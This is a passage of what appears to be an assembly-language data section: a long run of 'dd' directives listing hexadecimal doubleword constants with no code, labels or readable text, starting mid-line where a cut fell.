0DC00508Eh, 70248B34h, 0E50049F6h, 0E041FB0Dh, 5789C7Eh dd 5EC839F3h, 0B5BCC0A2h, 0D0009ADh, 549940ECh, 135380BFh dd 3F7E35h, 0A11A1265h, 0D9004259h, 0CBDD5269h, 37B0949h dd 829D565Ah, 0F0FC1B29h, 5701AFA8h, 4CC31C58h, 0E865E159h dd 624C0h, 4FE840C2h, 7394CCB8h, 7FE69801h, 1F97F2B7h dd 0CBA3FCh, 0B00D1CFEh, 0C113D1B6h, 7D00E3E2h, 605E92Bh dd 1889EFD5h, 788678FCh, 97E2F109h, 7A00ACEEh, 0F29C58D0h dd 1D49FC6h, 0C5F87E94h, 20C7FF66h, 31FC54DEh, 47E67A02h dd 60DC1A1Bh, 46A901BCh, 0A3D20B3Ch, 0ED1880C9h, 6DF715h dd 0CBD92650h, 0D6C67A60h, 33200F04h, 2CA2581Bh, 437F0173h dd 32B82B61h, 0CFC0303Ah, 81C7443Bh, 0BBFAF00Ah, 3C6029DFh dd 1432C06Bh, 216F433Bh, 0FEB72325h, 7AC280Fh, 0B0E26CAh dd 5BCDC045h, 0F0B5FC1h, 8E40AA54h, 60BFEE84h, 77440CD8h dd 0E79D0025h, 0EEAB8155h, 3A01FC30h, 8C5A860Bh, 0C0E41246h dd 859D3D69h, 56A4CA80h, 43D813F4h, 325E7524h, 209209h dd 4E4652A0h, 0D0B703CDh, 211DAB6Ah, 0A0C4819Dh, 706424C1h dd 2E009B4Ch, 0BC00F77Dh, 5B76E1E5h, 7F7812FEh, 699C008Dh dd 96FFD7C6h, 4E05A0B0h, 90FE4DA4h, 0A985E400h, 583C72E3h dd 421E6025h, 0EF5802Eh, 88F2622Ch, 1D001677h, 4BA1BEB9h dd 4F0390DCh, 0E3C0003Ah, 6A29FEAEh, 0A765A13h, 0E4BA70C7h dd 9CD5DD00h, 306473D4h, 21B1FDB9h, 0FE030D54h, 53BC9594h dd 372E00DFh, 5F7A0F9h, 0A60390AEh, 11620E47h, 0C0598AB1h dd 0BF5F69Ch, 0ED784FC4h, 86763C00h, 0D273B339h, 96424700h dd 4B84AC1Ah, 64D000A5h, 5EC4CB99h, 190074C9h, 564DFE2Ah dd 3F6C84h, 170B9B91h, 324C4A6h, 0DE8E7F01h, 0A5FBEAC5h dd 2B676882h, 0D4780B41h, 610F5009h, 0FD6F809Dh, 77D8F072h dd 0D71A0052h, 5C3F068Eh, 78005ED4h, 69088203h, 3EA163h dd 912309Ch, 3C8FDC18h, 77D2E600h, 20DFB4A7h, 0F209832h dd 34B24740h, 0BDA011C0h, 235D4E24h, 0D15B1218h, 0C599840h dd 73076D5Ch, 583000F5h, 0A11967Ah, 0AF0075CDh, 843FA846h dd 53309F0h, 75C7666h, 0BFEC00E2h, 836D9B7Ah, 0D91D1512h dd 0CAB87805h, 0E001F6C2h, 70444182h, 0D09AA2h, 7B0CD233h dd 65F2080Eh, 68001EEAh, 0C6D474AAh, 0CCC76A6h, 99D2B97h dd 0D8093120h, 0C7F34Ch, 531DD3CCh, 0FEA328E2h, 5BB0D4h dd 67B70197h, 0F2C14F88h, 3887D101h, 0A8CDF490h, 0D80ED440h dd 0BFF626FCh, 3CEC0E78h, 7AF41D81h, 5550F86Eh, 4966D800h dd 17E98BEEh, 56213CD3h, 1173BF80h, 0EA65A5B3h, 2A6F73Dh dd 4EDEA8CBh, 311D611Ah, 3D3B1060h, 0C8305D34h, 10232611h dd 709C4Ch, 0F1A07BB6h, 26EC7457h, 0BE4D5D0h, 4C07F519h dd 0E54C5780h, 0D4648076h, 5CB68182h, 31BAEA01h, 28F8E2C1h dd 85440198h, 71B61AA0h, 16C681Bh, 594A069Fh, 68D2CB7Ah dd 5B415170h, 0D250014Bh, 2C014091h, 25560F58h, 0EE41C997h dd 276100C0h, 0C2248EB1h, 0EC008813h, 94C0EA5Fh, 0B18F775h dd 124BAC2Ch, 0F938BA00h, 8100F37Fh, 34943D48h, 4C6DE335h dd 4E0FF2B2h, 6F476379h, 61A7201Fh, 903C21Dh, 2AE153F7h dd 5B47A85Eh, 15FA0704h, 8022746Ah, 5AF47D3Eh, 0CF9DA550h dd 0E3B13Dh, 8097E61Ah, 9065DA6Ah, 26C20059h, 71B2E22Eh dd 52E0FAB3h, 0A225D700h, 0E7B5458Ah, 0F0110190h, 9E9C63C0h dd 0E35080FFh, 0B3FB4AF1h, 0BDA30032h, 534467DDh, 0C9704D03h dd 6D24C800h, 2C0DA73Dh, 0D3D603F7h, 0DA87A196h, 65CEDBD8h dd 6B02A51Eh, 415B4800h, 0C714F6D8h, 70047210h, 3F170957h dd 0F00C3E6h, 8CA33D49h, 0B0EE1Eh, 1ACB763Ch, 0CDD8EDB5h dd 35BA1F00h, 0C4B78FD4h, 8C2C0075h, 6DD53732h, 0CD07301Ah dd 0D7A17763h, 44DB3C00h, 93298A6h, 663D089Bh, 4D64B680h dd 32008B7Fh, 0FE573968h, 0F1385CFh, 0B6F40B8Ch, 9EF0DCC2h dd 1B7CF260h, 0CC3CD000h, 60CA92F8h, 0E5E4503Eh, 5D1EC4Eh dd 0D2380B8Dh, 0B5EC0F22h, 0F788EAC0h, 0C2792E95h, 17FA4200h dd 0B19125FEh, 0ECC0014h, 0D25D39E0h, 0E100B52Ch, 5AF2F00Ch dd 7D585DDh, 13356AFCh, 696B0AAh, 0E078FA92h, 6D0A9C0Fh dd 639AA1FEh, 2FF8C536h, 0F0290031h, 248D9FA6h, 45004732h dd 0F953BAECh, 0CDBE17h, 95CC0BABh, 0D0EA05DEh, 9C5C6800h dd 0DF87D659h, 0F8FEE6h, 6F63DD22h, 0D781D345h, 6BA3AA03h dd 0A0B9EC11h, 1EB3FC24h, 46AB7484h, 0B0FB0438h, 0DD453Dh dd 0CB813C3h, 35A173h, 0E3E06E48h, 0A360A022h, 0FC15E100h dd 561B09D3h, 18B00B5Dh, 4B0F2FD6h, 6E6C5Dh, 4CB324F9h dd 670A548Eh, 962749FAh, 0B7B56100h, 0B8F61B66h, 2B0E0053h dd 2128483Ah, 5A00BBFBh dd 95602ECFh, 174F005h, 14424F6h, 4020D3DEh, 7DC4B59Eh dd 6D88AD01h, 0FFE5DBCBh, 96801187h, 8B1320EBh, 37008E44h dd 92587E4Ah, 0B97DBCh, 0BBFC0315h, 0E0365AF1h, 6B64D0C0h dd 0B11E542h, 0F498B743h, 831B9900h, 33002202h, 152071D0h dd 78C54990h, 848804CEh, 80E5F3CFh, 71B397C2h, 0FA1FB475h dd 884089D1h, 4893B2C5h, 7F70FD6h, 0C05E0A6Ch, 0A59CE932h dd 0C00B6AABh, 772AF5h, 50F2F3C3h, 0DF2B0006h, 1E2EC4CFh dd 5926C3E9h, 5B00C3BDh, 0CB3AD9BEh, 0AADE0020h, 0AB58BA1h dd 0E800F8C7h, 33E3B8E0h, 8CC42Ah, 0F6BA4E74h, 0BE45FD9h dd 443B5170h, 0DE528095h, 94FD9B8Bh, 9264009Dh, 0FC338493h dd 7E30D5D9h, 61738835h, 0CF7F16h, 563AF40Fh, 75CE4DB5h dd 6AAA000h, 79E46AA8h, 7172FEh, 0AB66E6Dh, 2BF4C9B7h dd 804EEA18h, 0C83C99h, 0AAEDA595h, 97AF6462h, 5DB58D00h dd 0C7591D7Ch, 7A86004Fh, 29C0DF03h, 0A100586Eh, 0D7795CE3h dd 0FF33653h, 7DB1441Ah, 76BC4BE0h, 84A8F4E1h, 0D5043211h dd 24015B37h, 95464DC0h, 737E009Ch, 8719D633h, 37617CC1h dd 364790E0h, 9D90ED03h, 131F9A03h, 3F01AC12h, 0D231A359h dd 6C26FCh, 9C5016B0h, 0D3F1EB83h, 0C3753B00h, 0AE8B479Ah dd 0DEF00DCh, 19165BD4h, 35066DE1h, 0B1A761E8h, 8CB01318h dd 24FE039Eh, 808CD3ABh, 4A7812A0h, 75DA012Ch, 20CED90Eh dd 0D38EF963h, 40D0C039h, 0A9420A75h, 0A4174D03h, 0A8047E8Fh dd 27FB7Dh, 3C0D799Fh, 0B3F3BEA5h, 430F8701h, 98A32285h dd 6D8C20h, 44EA9F8Ch, 0F18330B8h, 32005172h, 982BE3FFh dd 382ABE2Eh, 368011BFh, 17DE5DCAh, 0F90070CBh, 7BE3AA38h dd 0EE074F75h, 380F60E7h, 0DACB28FDh, 0E9779D05h, 940276DFh dd 44BBE1A8h, 0D4F3004Ch, 892C9856h, 0E5014C47h, 0FB60B7A6h dd 8E471EEh, 91720511h, 80863A51h, 0BBFAB8AEh, 7E64E80Eh dd 8F026113h, 9FF98109h, 7C4A60FAh, 25270163h, 7B2EC6A9h dd 9D6DECCCh, 761F81ECh, 43403526h, 0A49ED874h, 0E52800D1h dd 0E4CA0E3Eh, 8E002B2Eh, 8052B28Fh, 2DF5E73h, 9B8C1430h dd 0E0685663h, 0E609998Ah, 0A0D8CFB7h, 98F5A8CCh, 635A0FB0h dd 0FEA0E29Bh, 384FB265h, 0C08AA000h, 4D4288FDh, 99900070h dd 0BC4081CFh, 0CE0E1AE3h, 21203D95h, 0C91C93E9h, 0BB6F0h dd 0BA8E3679h, 80038844h, 0E89F4700h, 498184Fh, 877D0045h dd 5F71B9EEh, 0BA00FE82h, 16C3C7C8h, 7CD4E361h, 492C0057h dd 4290BC03h, 0D7001CAEh, 316B6FBDh, 556766h, 0BC618607h dd 0EA2CA3D9h, 0C3CC9707h, 839035A9h, 0E0CEFBFh, 57FE6486h dd 0CD2441A0h, 0C107D6EEh, 0D5B7CFA5h, 0BB2D7F40h, 160538B8h dd 0DCC30D00h, 53FDDE36h, 469B010Fh, 90AF0093h, 280635h dd 333D03B2h, 4CF6F298h, 155E9200h, 485A905Ch, 0C470081h dd 0C651DF7Fh, 6200CE99h, 0E33429BDh, 0D11BEEh, 6943686Dh dd 0EF02C0FAh, 0FF076A78h, 7E863555h, 56C379E0h, 0B6670072h dd 6D62B5Eh, 238A6CFh, 0C6DB1315h, 0A4955300h, 4286D3h dd 4C496679h, 99276B7Bh, 8DCA5F01h, 3DC96D4Ah, 12290DCh dd 0FA062FA9h, 0C01FAAAFh, 0B900681Eh, 0F03A92C5h, 6911CAh dd 40B77FD5h, 3955A0BAh, 2D379800h, 314D3B7Eh, 0F4F70034h dd 51810E80h, 1600D940h, 38655A17h, 76833Ah, 246A556h dd 1FB913CCh, 779CFA48h, 0ABE6ED1Dh, 8E93CAC0h, 2CBFEE3Ch dd 0E32FC0h, 0DDE2ACD0h, 7B006694h, 0E52BAD47h, 68FB83h dd 798A48BBh, 7706D264h, 351EF97Ch, 0BE008427h, 0E0314785h dd 7D7B009Dh, 1A6FA662h, 0A5004D51h, 0B0E11D73h, 84EF1Eh dd 0FB1591BEh, 7AAE923Ah, 0C3EE900h, 0D1B9FA6Fh, 0A0BDB0B5h dd 0F4574C14h, 0E8FC3F4Bh, 0C25D5C01h, 0E87482D5h, 0B60156AFh dd 0E1AE4EC6h, 75D869A5h, 0F6960363h, 7EA2E097h, 0D56E05E0h dd 0C70B95F0h, 0DBF178h, 2FAF256Bh, 849C012Ah, 3911DD9Eh dd 0B943FC92h, 47F6FC0Eh, 9104C0EAh, 482B8B1Eh, 0FE07377Ah dd 0F00DED7Bh, 2C408C24h, 0B4EF4A05h, 0A016FC96h, 2B9C6407h dd 0E942A30h, 3A7C1469h, 0E91C8CBDh, 29CD01B8h, 0E0EFA2FDh dd 7A009238h, 0B10D49EDh, 0B0AD2Fh, 0B652CF6Fh, 93F42D06h dd 0E43420C7h, 0A4D1E8B0h, 0DBEF0C49h, 8E70FD3Ah, 5B546E00h dd 34DFBD88h, 9D4203F4h, 27DC6FE2h, 1CC21AC0h, 469AF80Bh dd 0FAE30069h, 3D82CCh, 198E971Bh, 79626E5Ch, 9D90D4EEh dd 0CD618B00h, 0D8A83DDFh, 4BED0DC4h, 0C088B977h, 0A003A2Ch dd 8653857Ch, 1D7F6713h, 83D1320Bh, 45F1B4E3h, 0C893E800h dd 6D8707FEh, 90A800D8h, 18D3A6ACh, 20009440h, 5A69BFAEh dd 4735B12h, 3932C513h, 0C18880A4h, 0E2003A09h, 7C67AD1Eh dd 798794A6h, 523B1EBAh, 1D279F0Eh, 530FC092h, 0EB9EF03Fh dd 0D8E1D400h, 0B4094758h, 85F0CCh, 0AB37528Ch, 38E0250Ch dd 16F2B16h, 0C2C0BF1Eh, 7147B47Ah, 0A0390018h, 8099B6B7h dd 0F87CFF8Fh, 0E4860D07h, 7CA05A4Ah, 3CB2C04h, 82859BC3h dd 80ACE735h, 39A9E2DCh, 43DAB0Ch, 0E111B8h, 0EB7FCAD2h dd 0FD5742Eh, 0A28C7300h, 5F3FF670h, 86A80078h, 7C47601Fh dd 0DB266903h, 0D903907Dh, 0D87F4E0Ah, 0DFAAC7h, 4AF823ADh dd 61A8B78Ah, 420111FCh, 0BB40CC2h, 10808355h, 0D3BEAFADh dd 5601410Ah, 0AED8D170h, 60D00C87h, 8D2C004Bh, 0AD8F2BC9h dd 747B48A6h, 10311900h, 1208B82Ah, 49A70085h, 0C3CEAABFh dd 0D00E6EFh, 3138F422h, 0E627FABEh, 958E1356h, 46CD001Bh dd 120150DFh, 0DCFDC878h, 4300F5Ah, 9F0CD01Fh, 0FB4E0092h dd 0A5C5E433h, 5900A7B4h, 80F35B02h, 9F4CDBh, 0F4548831h dd 8BBE43A4h, 7978F4EBh, 0D429670Ch, 1DAC1AECh, 128DD519h dd 8B97030Ah, 5A521D0h, 0A93E6E0h, 0DC81DEh, 70A408E8h dd 0FD0079F0h, 0B0E795F4h, 0EAC5Eh, 9ACB4D8Ch, 0EC1DCF11h dd 1BD12601h, 0F95FA7BEh, 5147F120h, 1180B150h, 0BB63ABFBh dd 0ED1E21FEh, 0E400988Ah, 2D6E6A1h, 0C0751E82h, 9E0FBF60h dd 0B121DBB3h, 0ECA7DA6Dh, 0DFFE7BCEh, 0C8EC800h, 0AE72A2Bh dd 545B0068h, 7A95FEC5h, 0DC016483h, 4D6D41E4h, 8A205528h dd 66728EDh, 6E8B00A0h, 7364AAD2h, 0F6F6F520h, 7842A300h dd 0FFC92C74h, 7287290h, 0C0B3156Dh, 663EE105h, 7119899h dd 0FE386C21h, 0E1AD1DB8h, 7D6983AEh, 47C9EDE8h, 63C2048h dd 8576CFF2h, 4AB6B401h, 0D146F6A5h, 1DE2E451h, 0C4C71440h dd 5AB0184h, 0D757851Ch, 3018BC60h, 73831014h, 3F2307Fh dd 13889A20h, 3727C80h, 0FAEEC5A1h, 4193E15Ah, 81BA479Fh dd 0CC260479h, 0EF405162h, 19E431h, 999E709Fh, 148A862Bh dd 0B098303Fh, 0C9EE30EAh, 27E1008Eh, 0D701A17Ch, 0D2716BF2h dd 57596D00h, 0D57F8BADh, 18DA1379h, 0FCA30021h, 9EF5F7CFh dd 36CE8600h, 17522628h, 0C4F0FBh, 1A920AB4h, 7C704633h dd 1F12C100h, 4D323E9Dh, 0C65E0086h, 0B685749Ah, 0D87C7818h dd 0B482DA03h, 90539593h, 87799Fh, 7E6657D0h, 9885337Dh dd 0A746FD00h, 0CB4BB421h, 2391DAAh, 417D002Ch, 10BE799Dh dd 80ADC400h, 6E87E319h, 907506h, 4370DA27h, 0F05CEE16h dd 545E8107h, 1C02697h, 0A79CE19h, 0A883137Fh, 743C0110h dd 431DDD2Ah, 138879B4h, 20C1EDCBh, 8D940FC9h, 0C2325806h dd 0E16F1993h, 18842BCBh dd 7AB23Bh, 6B9D7558h, 10E06016h, 0CAE2356Dh, 7472B5E0h dd 83C35A24h, 1BF58E00h, 0A059D4h, 0F9E52110h, 0EEBB43CEh dd 7602E31Ch, 35245C0h, 351342h, 7C6A3647h, 0EB6D753Ch dd 0C444F900h, 23053370h, 74EC00DEh, 0E65B668Eh, 1460DCA5h dd 7A8AB2D8h, 8FFAB1h, 0BD6BF7ACh, 77368D69h, 1014DE0Fh dd 0FBC50074h, 0EE20AE16h, 0BF8B3987h, 655EE0Eh, 90DE85A7h dd 0C5846D60h, 0AF27DB18h, 88B67B28h, 0C7889893h, 2D9888Dh dd 146F51CAh, 0A44CCC08h, 6B2931E8h, 2351903Eh, 4CB5F484h dd 1C229EFh, 10A43804h, 0C43C6101h, 0C6007462h, 0FEB54296h dd 3C76849Eh, 5D80901Bh, 0EEA96B58h, 6D38A375h, 913FF0AFh dd 534E1EEBh, 0ABD1E3C7h, 98A7B031h, 6EB3CCh, 78FB02CFh dd 0A50C5340h, 5FF0A000h, 69D4D1C2h, 518D3DECh, 9B1E2400h dd 5EA8A66h, 0AEB70300h, 0E927BA8Eh, 2AACA898h, 0F7620732h dd 36F8A8Bh, 0CEC04A13h, 6C007045h, 3A7874CDh, 0E0DD79BAh dd 0F7990FB4h, 407AD093h, 63A1B240h, 24447700h, 9B5947C8h dd 46CB004Ch, 0A2E58E0Ah, 2900DB26h, 3BE6C7CFh, 0FCEDC9h dd 0CC9E9CD3h, 0DBF59419h, 0AF8C791Dh, 0D4F1ADC0h, 0AA4270h dd 683DDAB7h, 7B4E5FFAh, 0E040C400h, 915C5033h, 0B0EC009Dh dd 4B802BEAh, 0E698B7C9h, 3700D8F4h, 0B21EBE20h, 3E3F15Ch dd 53B96B22h, 60C07DE1h, 8E1D1A46h, 0A99D08EBh, 8D80F2C0h dd 7EF414Fh, 5999BB06h, 0B70E7201h, 8261E460h, 0E0C6E425h dd 37365h, 4C56EEE0h, 0CAC8E58Fh, 4750EF00h, 884EB66Dh dd 36480046h, 0C02F9697h, 250045B0h, 7D8CB230h, 1CB48F23h dd 93B87FD1h, 0D5630F1Fh, 4BF0E180h, 950057CCh, 0FD0A7B65h dd 23C34Ah, 0D5756397h, 7EB64BC5h, 0EA3B5700h, 0EE3AE42Ah dd 9EE20280h, 797166C2h, 0D3F731E0h, 0A9B93700h, 8E6AF616h dd 0B75100BBh, 0C9261CD5h, 0B57203CEh, 0CDA62500h, 2752B8DBh dd 19E8001Dh, 5D493577h, 0FE03122h, 0DE997D00h, 5F1D6241h dd 42C00F6Fh, 8A0BD81h, 0D374DDA8h, 25ADBCA0h, 54F8AF03h dd 0FD895F0h, 0E072C419h, 0F2002C0Bh, 0B654B8A8h, 9A118B60h dd 38C8E26h, 0D73B2DF4h, 180F02E0h, 0A627EF4Ah, 10486Eh dd 0D25FBF85h, 0D6081D25h, 0AC007FE0h, 0ABB6E298h, 36D028h dd 15E1DF8Fh, 84086EB0h, 0B7236801h, 0F95B3DDDh, 691F4980h dd 0EA9E3A11h, 51001879h, 39E2EBE0h, 254650h, 6C7C4BA1h dd 22041CB3h, 0F3E7C500h, 54BBE53Ah, 9BBC003Dh, 2171194Eh dd 37001C69h, 6862F841h, 39C19Ch, 0A308E72Eh, 35933E97h dd 85B75C3Bh, 37577C20h, 17740880h, 0A827007Eh, 0D0E00C77h dd 121C8998h, 0AD80F2D6h, 6F683FDAh, 0BC620786h, 0D09CD1ACh dd 8ED8CD71h, 0C28B1907h, 3D105127h, 900526D7h, 4B7E1D8Ch dd 0AEA2010Bh, 0D4916874h, 77007CC3h, 79346E02h, 4158BCh dd 0EA0C7024h, 2CCE2EABh, 18E4D01h, 6051C5AAh, 9748D8D7h dd 0D89400E3h, 84B3658h, 5A03CA40h, 4D50AB29h, 30F3F842h dd 75BC005Eh, 647C7E5Fh, 3E4A1196h, 4FB0F487h, 316FBAh dd 95DB18CCh, 492BEE78h, 5A93C00h, 0D3913F48h, 0DF9E005Fh dd 0C3156199h, 9A00F4A1h, 0D2CB6F3Ch, 0A65038h, 89EC605h dd 0BE7E46A5h, 3B9AB207h, 0FD500314h, 0C0B513B7h, 16A25968h dd 2182EE6h, 65B8661Dh, 996C1D71h, 481C00E8h, 76D4498h dd 2C43B50Eh, 78C73CE5h, 0F3D03EBCh, 6E599D0Ch, 1F60D0CCh dd 6A729F8h, 0D882AD0Eh, 23E62065h, 0E55F58A0h, 3DC1BDFCh dd 0E9000CE3h, 3E86267Eh, 83002780h, 5C36373Bh, 128DC2Dh dd 0EE4DAB44h, 8090A2BDh, 26CE5898h, 5D9C03h, 0EF07235Bh dd 18779A3Ch, 0DA7F147Fh, 0C4B1C107h, 5270E3AFh, 80A71Fh dd 944996B2h, 0F3AD89D3h, 8A252F00h, 298140Bh, 1F62009Eh dd 0C226A795h, 9F006115h, 0E635B347h, 0FF2B10Bh, 3CBDE82Eh dd 907C50E0h, 0C700BAAEh, 6BBEF3CEh, 1A83F3Ah, 2018E9F5h dd 30476821h, 4FE47760h, 11A03Dh, 0EF2D177Eh, 0EC63831Dh dd 1B5E0171h, 0B92648DEh, 0D301F0F1h, 0F0EC6A17h, 2A839D1Fh dd 98E369DCh, 995837Eh, 84D7A5F5h, 4ADB6083h, 15A7E588h dd 2DC0F312h, 2C7D000h, 24B583h, 6F4A4121h, 0D042DD6Dh dd 0CEC53700h, 4E7727A2h, 9A07897h, 0D64B28E8h, 0D893F380h dd 23794211h, 973F8500h, 0A9351D0Eh, 0FE41Bh, 0E6A340BFh dd 77B5F708h, 8F48D1E4h, 0A1C800A4h, 185C92EDh, 4CB2036Eh dd 2E08FAA9h, 0A777A800h, 2268070Bh, 7867E35h, 8575FC80h dd 0CB329039h, 0EF907F03h, 7E33670Eh, 4600BEBBh, 8EE14851h dd 0D7A224DFh, 9C905EAh, 0ADD6C06Bh, 200096FBh, 751505Dh dd 28725Eh, 0CA66F27Ch, 0B20ED842h, 3AC6F407h, 3E209ADFh dd 3FE9DEh, 0C2EBCADh, 0AE2AA1CCh, 7538AB00h, 648A9913h dd 0D5200019h, 0E36A0A65h, 0EA4C6F5Ah, 0AE8E269Eh, 89511100h dd 23401CFh, 17A01F41h, 0ABC0A221h, 83079DE5h, 1632F6Ah dd 0EBA9D6A0h, 8613008Ah, 3E35B9E1h, 6207C40Bh, 397CC0D8h dd 29768FB0h, 0C315981h, 0C7434D1Dh, 90D2D4CDh, 2B7FB27Dh dd 6B10700h, 0AA27E5Ah, 4D9C00E8h, 1050A1E1h, 6BF071F4h dd 4C0014B0h, 442D2248h, 21F8F9h, 0A3D51EFAh, 6CB057CBh dd 0C505E00h, 6546310Dh, 10AE00F0h, 0A6A0701Eh, 63F2B916h dd 84CD8702h, 60A548CFh, 74F80Ch, 78C4EBB6h, 30264015h dd 620025F8h, 7B5B07E1h, 0B02C6C31h, 994C39DCh, 2A13A000h dd 346A7F3Fh, 3CA53201h, 9C74D9D8h, 0D3F8B421h, 3F9DA03Eh dd 5984B2B2h, 0E5076066h, 0A05B1622h, 0A607EFEDh, 8B00E477h dd 830AD749h, 0B27A70D6h, 68F8007Ch, 3307BDF6h, 0FC7DD06Dh dd 41003677h, 6112FAAh, 24945AF4h, 0C47F1Ah, 93B58F5Ch dd 40DC1860h, 9AFFA580h, 0C331DF56h, 0CFD24120h, 0A6F001E8h dd 0A5B59E00h, 0DEFAF1C2h, 31F283h, 0FE24CC99h, 6F4D49Ah dd 2504B20Ch, 0E2CB505Ch, 0B7830099h, 5325734h, 0A0024B1Dh dd 9C8E14ABh, 72280086h, 491CA208h, 0AD80E34Ah, 2ED0C64Fh dd 0D22300C8h, 0F60317B5h, 0A91CEC40h, 13CB00Dh, 3481B8DFh dd 48C0C343h, 8E6C0057h, 8DCA1CDh, 722E9BEDh, 3E01EC83h dd 0D7B9B405h, 2CB37180h, 577D27F8h, 497DD00h, 0F97F3D80h dd 0D0061E62h, 0A5B3409Bh, 0F548B2CEh, 15C70C03h, 0B8C28676h dd 0D50A2Dh, 83DB7540h, 0A87D3ADAh, 766B3Eh, 94412BEFh dd 6F21A6h, 5074328Bh, 0BF62E98Eh, 20E72324h, 976E3600h dd 53346940h, 407CB0F7h, 3048A78Eh, 0D826015Ch, 19D5A05Bh dd 0BA969030h, 0F79507C8h, 97B7CCBFh, 5AFA80E3h, 9400791Ch dd 7DEF7AA1h, 4B8773h, 276BBFACh, 0BD366C86h, 8B2F9E00h dd 0CE76F55Fh, 0E4ABFC48h, 124D046Eh, 80E51641h, 0FD08302Ch dd 85D2C300h, 0C89C46F8h, 324A0005h, 0DF809538h, 3005BCFh dd 0E97DF1B3h, 9F6842h, 8EDD2AFEh, 0E0CE4E6h, 4E093E01h dd 0C07BC982h, 1927A9E7h, 4A1EE820h, 394801E4h, 20E90F93h dd 0FEA1EC24h, 0F82F21FEh, 0CC00C1B1h, 0F7BFEDDDh, 0C9479988h dd 0A880E4F2h, 197FA071h, 49B5B300h, 0B6C20B8Dh, 0C7F8141Bh dd 0F900A866h, 864B70CDh, 841CB833h, 803CBA7Fh, 0EB346BAAh dd 1520B4h, 5D9A2F10h, 22DD9E6Eh, 84D3000h, 67FD182Dh dd 9831E219h, 0F43A01FDh, 73363DB9h, 16402892h, 6D0008BEh dd 0F80ED79Ah, 0DB3A00ADh dd 0E6E9FC10h, 76009027h, 0F06F5C37h, 85249Bh, 0F650AA35h dd 48A89729h, 1B092500h, 0A3FFE14Eh, 0FDB72A0Dh, 0CA8305C0h dd 0C0438E3Dh, 0BEC103ACh, 0CC299B2Ch, 0ADAFD900h, 904BA62Bh dd 5FA91ED0h, 0C8D40082h, 0FA244973h, 0E8B7D203h, 888DC33Eh dd 0A2CCAh, 4F54965Ch, 31A0A5B0h, 0DEBA4901h, 0AD0E9C0Ch dd 0C0A1420h, 0F8028A04h, 12098C11h, 81BC7FD3h, 4570E154h dd 536FF8h, 0D1C7724Eh, 4FD04904h, 1457DF4Ch, 30F01C1Eh dd 0C492F1A5h, 0F4C9A5Ch, 2104C858h, 80A0E86Ah, 201432D4h dd 2F072DFAh, 88100E31h, 0FB2BAB20h, 0C6CD009Fh, 0A61CF9ECh dd 0B7008FC3h, 1115F3EAh, 2C1BA43Eh, 8010ED7Fh, 0E409CC38h dd 0B312428Eh, 0AAFEA8h, 0A4C2128Bh, 5D503E94h, 0D4032AFCh dd 1D201B82h, 89E658h, 60B90E98h, 131EE9A7h, 0F7D480C0h dd 2047A64h, 54194D53h, 0DC406DC3h, 7C940516h, 88FBF560h dd 3B640F8Ch, 75E0142Ch, 463659CDh, 925C9100h, 15C92663h dd 32A0009Fh, 0A734968Fh, 0B40B1E7Eh, 814EB2EDh, 314B6EF0h dd 9E5FDC00h, 0F1790501h, 8B7A022Eh, 0C6E6A882h, 0A8A32A61h dd 12003B28h, 37E41C4Ah, 0E1C54Bh, 2D5A7C64h, 0F425FE09h dd 2C423Bh, 0FD7E71B4h, 9CC24Dh, 0C3D3FAE3h, 0EBC8592h dd 3A6C5500h, 0D12B1A2Fh, 52E400FCh, 14F0BDB9h, 6200703Dh dd 75F4A8B6h, 2CEE6Ah, 0AE379594h, 4B1C59F8h, 0E1A73Eh dd 3E6E8A79h, 1B2B8FDh, 0CE74BA47h, 0F08D16C9h, 530719ECh dd 6F3A3665h, 9BF47C00h, 45F60E42h, 0ED618010h, 6F39628Dh dd 0B7E6E0h, 8A0350F2h, 29CC093h, 0E2C0900h, 0CF623DA2h dd 0E5FD0316h, 0D6E67AE3h, 5672D000h, 0A5BF8D10h, 946A0153h dd 0DAAF6E0Ch, 8933F834h, 30DD9B00h, 0AD1E75E7h, 912A00FFh dd 1C45CC0Dh, 0CCF16894h, 430026F1h, 0EB852B96h, 0DA1878h dd 0C20CD2DBh, 9590A6BEh, 0AC6CE800h, 0D5EF407Dh, 0D1CF38FDh dd 3193AD00h, 9FA7FCB8h, 0D0AC6A00h, 6E4952EEh, 75E474A9h dd 0AAB20207h, 314C0C6h, 0BB288C80h, 0D2005071h, 0D52333D1h dd 74095622h, 15D3000Ch, 5E564EBh, 593078A4h, 0B1A91934h dd 448800C9h, 0EEF57E36h, 0ED1D3A4Ch, 0B7803E45h, 7A9081C6h dd 516C00F4h, 0DD238B17h, 0D51E6E32h, 2C00DF7Ch, 3C6DABDh dd 86FB0981h, 1B0FF7h, 655C7100h, 668F4A9Dh, 0E8BC0384h dd 0A7530D27h, 0EBA0EA93h, 730249DAh, 2F42E61Fh, 6CF40D4h dd 5F310047h, 7BAB1D0Fh, 5A00AE2Dh, 0F58194FFh, 3B582793h dd 0D728C744h, 65CB03DCh, 0F274029Bh, 4621B9F8h, 3DEC3A00h dd 0FC05CA73h, 6CE300C9h, 548E8A9Dh, 6C902790h, 0BC6E6402h dd 3FFB709h, 0AE4EBE4h, 1984C0B3h, 1D80A081h, 7713268h dd 94330EE0h, 4456B0F3h, 4A003FA3h, 86783125h, 1DF16C8h dd 0D9EDB613h, 0F0263A4Dh, 401E4694h, 1B428C3Dh, 0E0224567h dd 1FF075ABh, 0C0B7E0A3h, 29435738h, 6E00ADD3h, 8C232761h dd 0E5DA335h, 380EA73h, 3394C5E0h, 0E70091EFh, 0AFA1B9FFh dd 2CB6740Bh, 796E8Bh, 5B75FB48h, 900F237h, 0D2A5CCC0h dd 0AC0630h, 14E48073h, 2F8AF7Eh, 5D53FC00h, 0DB829F9Dh dd 2E7800CCh, 0CE19D310h, 0F0CEB42h, 0C8414ED6h, 34F938E2h dd 578FA200h, 0D2E820ADh, 5E69CE00h, 15B8731Fh, 65BC00D9h dd 1D275FACh, 763FFF9Ah, 13028B12h, 3A538041h, 2FF255h dd 328FE250h, 0AB5BDA5Dh, 3C175407h, 0D457CAB2h, 0EC16080Bh dd 581E003Ch, 2B088755h, 4E00065h, 7C853756h, 0EE00AB6Ah dd 6C100533h, 601571DAh, 8B25A8C4h, 0BC0B7448h, 0FCE5E1h dd 0C00E4EEEh, 0DC3F001Dh, 0E713DA1Bh, 620064F4h, 8661E5ABh dd 0BB65A3h, 4F8C2017h, 4C2BC3C0h, 5C242105h, 0A0005523h dd 401C567Fh, 56D0078h, 9B60D050h, 0C4CBCD8h, 803A3ABCh dd 65893C7Dh, 9002CDAAh, 2AEE2D0h, 6C379228h, 9C81A153h dd 0DE8C2B12h, 7964B068h, 0D6B30101h, 1570504Dh, 30C38420h dd 333EEABAh, 